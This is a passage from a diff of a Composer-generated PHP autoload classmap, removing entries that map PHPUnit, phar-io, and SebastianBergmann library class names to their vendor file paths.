'/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\ValidationResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/ValidationResult.php', - 'PHPUnit\\Util\\Xml\\Validator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Validator.php', - 'PharIo\\Manifest\\Application' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Application.php', - 'PharIo\\Manifest\\ApplicationName' => __DIR__ . '/..' . '/phar-io/manifest/src/values/ApplicationName.php', - 'PharIo\\Manifest\\Author' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Author.php', - 'PharIo\\Manifest\\AuthorCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/AuthorCollection.php', - 'PharIo\\Manifest\\AuthorCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/AuthorCollectionIterator.php', - 'PharIo\\Manifest\\AuthorElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/AuthorElement.php', - 'PharIo\\Manifest\\AuthorElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/AuthorElementCollection.php', - 'PharIo\\Manifest\\BundledComponent' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponent.php', - 'PharIo\\Manifest\\BundledComponentCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponentCollection.php', - 'PharIo\\Manifest\\BundledComponentCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/BundledComponentCollectionIterator.php', - 'PharIo\\Manifest\\BundlesElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/BundlesElement.php', - 'PharIo\\Manifest\\ComponentElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ComponentElement.php', - 'PharIo\\Manifest\\ComponentElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ComponentElementCollection.php', - 'PharIo\\Manifest\\ContainsElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ContainsElement.php', - 'PharIo\\Manifest\\CopyrightElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/CopyrightElement.php', - 'PharIo\\Manifest\\CopyrightInformation' => __DIR__ . '/..' . '/phar-io/manifest/src/values/CopyrightInformation.php', - 'PharIo\\Manifest\\ElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ElementCollection.php', - 'PharIo\\Manifest\\ElementCollectionException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ElementCollectionException.php', - 'PharIo\\Manifest\\Email' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Email.php', - 'PharIo\\Manifest\\Exception' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/Exception.php', - 'PharIo\\Manifest\\ExtElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtElement.php', - 'PharIo\\Manifest\\ExtElementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtElementCollection.php', - 'PharIo\\Manifest\\Extension' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Extension.php', - 'PharIo\\Manifest\\ExtensionElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ExtensionElement.php', - 'PharIo\\Manifest\\InvalidApplicationNameException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php', - 'PharIo\\Manifest\\InvalidEmailException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidEmailException.php', - 'PharIo\\Manifest\\InvalidUrlException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/InvalidUrlException.php', - 'PharIo\\Manifest\\Library' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Library.php', - 'PharIo\\Manifest\\License' => __DIR__ . '/..' . '/phar-io/manifest/src/values/License.php', - 'PharIo\\Manifest\\LicenseElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/LicenseElement.php', - 'PharIo\\Manifest\\Manifest' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Manifest.php', - 'PharIo\\Manifest\\ManifestDocument' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ManifestDocument.php', - 'PharIo\\Manifest\\ManifestDocumentException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentException.php', - 'PharIo\\Manifest\\ManifestDocumentLoadingException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php', - 'PharIo\\Manifest\\ManifestDocumentMapper' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestDocumentMapper.php', - 'PharIo\\Manifest\\ManifestDocumentMapperException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php', - 'PharIo\\Manifest\\ManifestElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/ManifestElement.php', - 'PharIo\\Manifest\\ManifestElementException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestElementException.php', - 'PharIo\\Manifest\\ManifestLoader' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestLoader.php', - 'PharIo\\Manifest\\ManifestLoaderException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/ManifestLoaderException.php', - 'PharIo\\Manifest\\ManifestSerializer' => __DIR__ . '/..' . '/phar-io/manifest/src/ManifestSerializer.php', - 'PharIo\\Manifest\\NoEmailAddressException' => __DIR__ . '/..' . '/phar-io/manifest/src/exceptions/NoEmailAddressException.php', - 'PharIo\\Manifest\\PhpElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/PhpElement.php', - 'PharIo\\Manifest\\PhpExtensionRequirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/PhpExtensionRequirement.php', - 'PharIo\\Manifest\\PhpVersionRequirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/PhpVersionRequirement.php', - 'PharIo\\Manifest\\Requirement' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Requirement.php', - 'PharIo\\Manifest\\RequirementCollection' => __DIR__ . '/..' . '/phar-io/manifest/src/values/RequirementCollection.php', - 'PharIo\\Manifest\\RequirementCollectionIterator' => __DIR__ . '/..' . '/phar-io/manifest/src/values/RequirementCollectionIterator.php', - 'PharIo\\Manifest\\RequiresElement' => __DIR__ . '/..' . '/phar-io/manifest/src/xml/RequiresElement.php', - 'PharIo\\Manifest\\Type' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Type.php', - 'PharIo\\Manifest\\Url' => __DIR__ . '/..' . '/phar-io/manifest/src/values/Url.php', - 'PharIo\\Version\\AbstractVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AbstractVersionConstraint.php', - 'PharIo\\Version\\AndVersionConstraintGroup' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AndVersionConstraintGroup.php', - 'PharIo\\Version\\AnyVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/AnyVersionConstraint.php', - 'PharIo\\Version\\BuildMetaData' => __DIR__ . '/..' . '/phar-io/version/src/BuildMetaData.php', - 'PharIo\\Version\\ExactVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/ExactVersionConstraint.php', - 'PharIo\\Version\\Exception' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/Exception.php', - 'PharIo\\Version\\GreaterThanOrEqualToVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php', - 'PharIo\\Version\\InvalidPreReleaseSuffixException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php', - 'PharIo\\Version\\InvalidVersionException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/InvalidVersionException.php', - 'PharIo\\Version\\NoBuildMetaDataException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/NoBuildMetaDataException.php', - 'PharIo\\Version\\NoPreReleaseSuffixException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php', - 'PharIo\\Version\\OrVersionConstraintGroup' => __DIR__ . '/..' . '/phar-io/version/src/constraints/OrVersionConstraintGroup.php', - 'PharIo\\Version\\PreReleaseSuffix' => __DIR__ . '/..' . '/phar-io/version/src/PreReleaseSuffix.php', - 'PharIo\\Version\\SpecificMajorAndMinorVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php', - 'PharIo\\Version\\SpecificMajorVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php', - 'PharIo\\Version\\UnsupportedVersionConstraintException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/UnsupportedVersionConstraintException.php', - 'PharIo\\Version\\Version' => __DIR__ . '/..' . '/phar-io/version/src/Version.php', - 'PharIo\\Version\\VersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/VersionConstraint.php', - 'PharIo\\Version\\VersionConstraintParser' => __DIR__ . '/..' . '/phar-io/version/src/VersionConstraintParser.php', - 'PharIo\\Version\\VersionConstraintValue' => __DIR__ . '/..' . '/phar-io/version/src/VersionConstraintValue.php', - 'PharIo\\Version\\VersionNumber' => __DIR__ . '/..' . '/phar-io/version/src/VersionNumber.php', - 'SebastianBergmann\\CliParser\\AmbiguousOptionException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php', - 'SebastianBergmann\\CliParser\\Exception' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/Exception.php', - 'SebastianBergmann\\CliParser\\OptionDoesNotAllowArgumentException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php', - 'SebastianBergmann\\CliParser\\Parser' => __DIR__ . '/..' . '/sebastian/cli-parser/src/Parser.php', - 'SebastianBergmann\\CliParser\\RequiredOptionArgumentMissingException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php', - 'SebastianBergmann\\CliParser\\UnknownOptionException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/UnknownOptionException.php', - 'SebastianBergmann\\CodeCoverage\\BranchAndPathCoverageNotSupportedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php', - 'SebastianBergmann\\CodeCoverage\\CodeCoverage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/CodeCoverage.php', - 'SebastianBergmann\\CodeCoverage\\DeadCodeDetectionNotSupportedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PathExistsButIsNotDirectoryException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PcovDriver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/PcovDriver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PcovNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgDriver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Selector' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Selector.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\WriteOperationFailedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\WrongXdebugVersionException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2NotEnabledException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3NotEnabledException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\XdebugNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Exception' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Exception.php', - 'SebastianBergmann\\CodeCoverage\\Filter' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Filter.php', - 'SebastianBergmann\\CodeCoverage\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php', - 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverWithPathCoverageSupportAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Node\\AbstractNode' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/AbstractNode.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Builder' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Builder.php', - 'SebastianBergmann\\CodeCoverage\\Node\\CrapIndex' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/CrapIndex.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Node\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/File.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Iterator' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Iterator.php', - 'SebastianBergmann\\CodeCoverage\\ParserException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ParserException.php', - 'SebastianBergmann\\CodeCoverage\\ProcessedCodeCoverageData' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php', - 'SebastianBergmann\\CodeCoverage\\RawCodeCoverageData' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/RawCodeCoverageData.php', - 'SebastianBergmann\\CodeCoverage\\ReflectionException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ReflectionException.php', - 'SebastianBergmann\\CodeCoverage\\ReportAlreadyFinalizedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Clover' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Clover.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Cobertura' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Cobertura.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Crap4j' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Crap4j.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Dashboard' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Facade' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Facade.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Renderer' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer.php', - 'SebastianBergmann\\CodeCoverage\\Report\\PHP' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/PHP.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Text' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Text.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\BuildInformation' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Coverage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Coverage.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Facade' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Facade.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/File.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Method' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Method.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Node' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Node.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Project' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Project.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Report' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Report.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Source' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Source.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Tests' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Tests.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Totals' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Totals.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Unit' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Unit.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysisCacheNotConfiguredException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CacheWarmer' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CachingFileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CodeUnitFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ExecutableLinesFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\FileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\IgnoredLinesFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ParsingFileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\TestIdMissingException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php', - 'SebastianBergmann\\CodeCoverage\\UnintentionallyCoveredCodeException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php', - 'SebastianBergmann\\CodeCoverage\\Util\\DirectoryCouldNotBeCreatedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php', - 'SebastianBergmann\\CodeCoverage\\Util\\Filesystem' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Util/Filesystem.php', - 'SebastianBergmann\\CodeCoverage\\Util\\Percentage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Util/Percentage.php', - 'SebastianBergmann\\CodeCoverage\\Version' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Version.php', - 'SebastianBergmann\\CodeCoverage\\XmlException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/XmlException.php', - 'SebastianBergmann\\CodeUnitReverseLookup\\Wizard' => __DIR__ . '/..' . '/sebastian/code-unit-reverse-lookup/src/Wizard.php', - 'SebastianBergmann\\CodeUnit\\ClassMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/ClassMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\ClassUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/ClassUnit.php', - 'SebastianBergmann\\CodeUnit\\CodeUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnit.php', - 'SebastianBergmann\\CodeUnit\\CodeUnitCollection' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnitCollection.php', - 'SebastianBergmann\\CodeUnit\\CodeUnitCollectionIterator' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnitCollectionIterator.php', - 'SebastianBergmann\\CodeUnit\\Exception' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/Exception.php', - 'SebastianBergmann\\CodeUnit\\FunctionUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/FunctionUnit.php', - 'SebastianBergmann\\CodeUnit\\InterfaceMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/InterfaceMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\InterfaceUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/InterfaceUnit.php', - 'SebastianBergmann\\CodeUnit\\InvalidCodeUnitException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php', - 'SebastianBergmann\\CodeUnit\\Mapper' => __DIR__ . '/..' . '/sebastian/code-unit/src/Mapper.php', - 'SebastianBergmann\\CodeUnit\\NoTraitException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/NoTraitException.php', - 'SebastianBergmann\\CodeUnit\\ReflectionException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/ReflectionException.php', - 'SebastianBergmann\\CodeUnit\\TraitMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/TraitMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\TraitUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/TraitUnit.php', - 'SebastianBergmann\\Comparator\\ArrayComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ArrayComparator.php', - 'SebastianBergmann\\Comparator\\Comparator' => __DIR__ . '/..' . '/sebastian/comparator/src/Comparator.php', - 'SebastianBergmann\\Comparator\\ComparisonFailure' => __DIR__ . '/..' . '/sebastian/comparator/src/ComparisonFailure.php', - 'SebastianBergmann\\Comparator\\DOMNodeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DOMNodeComparator.php', - 'SebastianBergmann\\Comparator\\DateTimeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DateTimeComparator.php', - 'SebastianBergmann\\Comparator\\DoubleComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DoubleComparator.php', - 'SebastianBergmann\\Comparator\\Exception' => __DIR__ . '/..' . '/sebastian/comparator/src/exceptions/Exception.php', - 'SebastianBergmann\\Comparator\\ExceptionComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ExceptionComparator.php', - 'SebastianBergmann\\Comparator\\Factory' => __DIR__ . '/..' . '/sebastian/comparator/src/Factory.php', - 'SebastianBergmann\\Comparator\\MockObjectComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/MockObjectComparator.php', - 'SebastianBergmann\\Comparator\\NumericComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/NumericComparator.php', - 'SebastianBergmann\\Comparator\\ObjectComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ObjectComparator.php', - 'SebastianBergmann\\Comparator\\ResourceComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ResourceComparator.php', - 'SebastianBergmann\\Comparator\\RuntimeException' => __DIR__ . '/..' . '/sebastian/comparator/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\Comparator\\ScalarComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ScalarComparator.php', - 'SebastianBergmann\\Comparator\\SplObjectStorageComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/SplObjectStorageComparator.php', - 'SebastianBergmann\\Comparator\\TypeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/TypeComparator.php', - 'SebastianBergmann\\Complexity\\Calculator' => __DIR__ . '/..' . '/sebastian/complexity/src/Calculator.php', - 'SebastianBergmann\\Complexity\\Complexity' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/Complexity.php', - 'SebastianBergmann\\Complexity\\ComplexityCalculatingVisitor' => __DIR__ . '/..' . '/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php', - 'SebastianBergmann\\Complexity\\ComplexityCollection' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/ComplexityCollection.php', - 'SebastianBergmann\\Complexity\\ComplexityCollectionIterator' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php', - 'SebastianBergmann\\Complexity\\CyclomaticComplexityCalculatingVisitor' => __DIR__ . '/..' . '/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php', - 'SebastianBergmann\\Complexity\\Exception' => __DIR__ . '/..' . '/sebastian/complexity/src/Exception/Exception.php', - 'SebastianBergmann\\Complexity\\RuntimeException' => __DIR__ . '/..' . '/sebastian/complexity/src/Exception/RuntimeException.php', - 'SebastianBergmann\\Diff\\Chunk' => __DIR__ . '/..' . '/sebastian/diff/src/Chunk.php', - 'SebastianBergmann\\Diff\\ConfigurationException' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/ConfigurationException.php', - 'SebastianBergmann\\Diff\\Diff' => __DIR__ . '/..' . '/sebastian/diff/src/Diff.php', - 'SebastianBergmann\\Diff\\Differ' => __DIR__ . '/..' . '/sebastian/diff/src/Differ.php', - 'SebastianBergmann\\Diff\\Exception' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/Exception.php', - 'SebastianBergmann\\Diff\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/InvalidArgumentException.php', - 'SebastianBergmann\\Diff\\Line' => __DIR__ . '/..' . '/sebastian/diff/src/Line.php', - 'SebastianBergmann\\Diff\\LongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/LongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Diff\\MemoryEfficientLongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Diff\\Output\\AbstractChunkOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\DiffOnlyOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\DiffOutputBuilderInterface' => __DIR__ . '/..' . '/sebastian/diff/src/Output/DiffOutputBuilderInterface.php', - 'SebastianBergmann\\Diff\\Output\\StrictUnifiedDiffOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\UnifiedDiffOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php', - 'SebastianBergmann\\Diff\\Parser' => __DIR__ . '/..' . '/sebastian/diff/src/Parser.php', - 'SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Environment\\Console' => __DIR__ . '/..' . '/sebastian/environment/src/Console.php', - 'SebastianBergmann\\Environment\\OperatingSystem' => __DIR__ . '/..' . '/sebastian/environment/src/OperatingSystem.php', - 'SebastianBergmann\\Environment\\Runtime' => __DIR__ . '/..' . '/sebastian/environment/src/Runtime.php', - 'SebastianBergmann\\Exporter\\Exporter' => __DIR__ . '/..' . '/sebastian/exporter/src/Exporter.php', - 'SebastianBergmann\\FileIterator\\Facade' => 